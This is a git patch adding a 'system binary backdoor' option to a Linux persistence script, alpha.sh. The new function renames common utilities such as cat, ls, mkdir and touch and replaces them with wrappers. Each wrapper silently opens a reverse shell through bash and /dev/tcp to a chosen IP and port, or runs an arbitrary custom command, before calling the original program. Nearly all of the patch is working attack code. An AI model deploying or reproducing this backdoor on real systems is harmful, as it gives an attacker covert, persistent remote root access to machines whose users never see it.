From 052c0f914b0c5129816e4fd5edaa8b6c25266dd9 Mon Sep 17 00:00:00 2001 From: Ruben Groenewoud <78494512+Aegrah@users.noreply.github.com> Date: Tue, 18 Jun 2024 20:51:07 +0200 Subject: [PATCH] Added backdoor binary --- src/alpha.sh | 115 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 115 insertions(+) diff --git a/src/alpha.sh b/src/alpha.sh index d76d9d1..35113bf 100644 --- a/src/alpha.sh +++ b/src/alpha.sh @@ -197,6 +197,13 @@ usage_root() { echo " --architecture Specify architecture (x86 or x64)" echo " --custom Use custom bind shell binary" echo " --binary Specify the path to the custom binary" + echo " --system-binary-backdoor Set up a system binary backdoor" + echo " --default Use default binary backdoor settings" + echo " --ip Specify IP address" + echo " --port Specify port number" + echo " --custom Use custom binary backdoor settings" + echo " --binary Specify the binary to backdoor" + echo " --command Specify the command to execute" } setup_systemd() { @@ -1753,6 +1760,109 @@ setup_bind_shell() { fi } +setup_system_binary_backdoor() { + local default=0 + local custom=0 + local warning=0 + local ip="" + local port="" + local binary="" + local command="" + + while [[ "$1" != "" ]]; do + case $1 in + --default ) + default=1 + ;; + --custom ) + custom=1 + ;; + --warning ) + warning=1 + ;; + --ip ) + shift + ip=$1 + ;; + --port ) + shift + port=$1 + ;; + --binary ) + shift + binary=$1 + ;; + --command ) + shift + command=$1 + ;; + * ) + echo "Invalid option for --system-binary-backdoor: $1" + exit 1 + esac + shift + done + + if [[ $default -eq 1 && $custom -eq 1 ]]; then + echo "Error: --default and --custom cannot be specified together." + exit 1 + fi + + if [[ $default -eq 0 && $custom -eq 0 ]]; then + echo "Error: Either --default or --custom must be specified." + exit 1 + fi + + if ! check_root; then + echo "Error: This function can only be run as root." + exit 1 + fi + + if [[ $default -eq 1 ]]; then + if [[ -z $ip || -z $port ]]; then + echo "Error: --ip and --port must be specified when using --default." + exit 1 + fi + + local binaries=("cat" "touch" "mkdir" "ls") + + for bin in "${binaries[@]}"; do + if command -v $bin &> /dev/null; then + local path=$(command -v $bin) + mv $path $path.original + echo -e '#!/bin/bash\n/bin/bash -c "bash -i >& /dev/tcp/'$ip'/'$port' 0>&1 2>/dev/null &"\n'$path'.original "$@"' > $path + chmod +x $path + echo "[+] $bin backdoored successfully." + else + echo "[-] $bin is not present on the system." + fi + done + + elif [[ $custom -eq 1 ]]; then + if [[ -z $binary || -z $command ]]; then + echo "Error: --binary and --command must be specified when using --custom." + exit 1 + fi + + if [[ $warning -eq 0 ]]; then + echo "Error: --warning must be specified when using --custom." + echo "Warning: this will overwrite the original binary with the backdoored version." + echo "You better know what you are doing with that custom command!" + exit 1 + fi + + if command -v $binary &> /dev/null; then + local path=$(command -v $binary) + mv $path $path.original + echo -e '#!/bin/bash\n'$command' 2>/dev/null\n'$path'.original "$@"' > $path + chmod +x $path + echo "[+] $binary backdoored successfully." + else + echo "[-] $binary is not present on the system." + fi + fi +} + main() { local QUIET=0 @@ -1890,6 +2000,11 @@ main() { shift setup_bind_shell "$@" exit + ;; + --system-binary-backdoor ) + shift + setup_system_binary_backdoor "$@" + exit ;; * ) echo "Invalid option: $1"